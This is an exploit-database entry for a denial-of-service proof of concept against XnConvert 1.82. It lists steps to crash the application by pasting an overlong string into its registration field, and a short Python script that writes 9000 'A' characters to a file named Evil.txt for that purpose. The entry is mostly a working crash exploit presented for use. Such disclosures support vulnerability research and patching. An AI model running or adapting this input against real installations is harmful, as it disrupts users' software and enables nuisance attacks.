XnConvert 1.82 - Denial of Service (PoC)

2020-06-28
ID: 103086
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 2019-12-21
# Vendor Homepage: https://www.xnview.com
# Software Link: https://www.xnview.com/en/apps/
# Exploit Author: Gokkulraj (TwinTech Solutions)
# Tested Version: v1.82
# Tested on: Windows 7 x64

# 1.- Download and install XnConvert
# 2.- Run python code : XnConvert.py
# 3.- Open EVIL.txt and copy content to clipboard
# 4.- Open XnConvert and Click 'EnterKey'
# 5.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 6.- Click 'OK' and you will see a pop-up stating Invalid code and then click 'OK' you will see the crash.

#!/usr/bin/env python
Dos= "\x41" * 9000
myfile=open('Evil.txt','w')
myfile.writelines(Dos)
myfile.close()
print("File created")
1-4-2 (www02)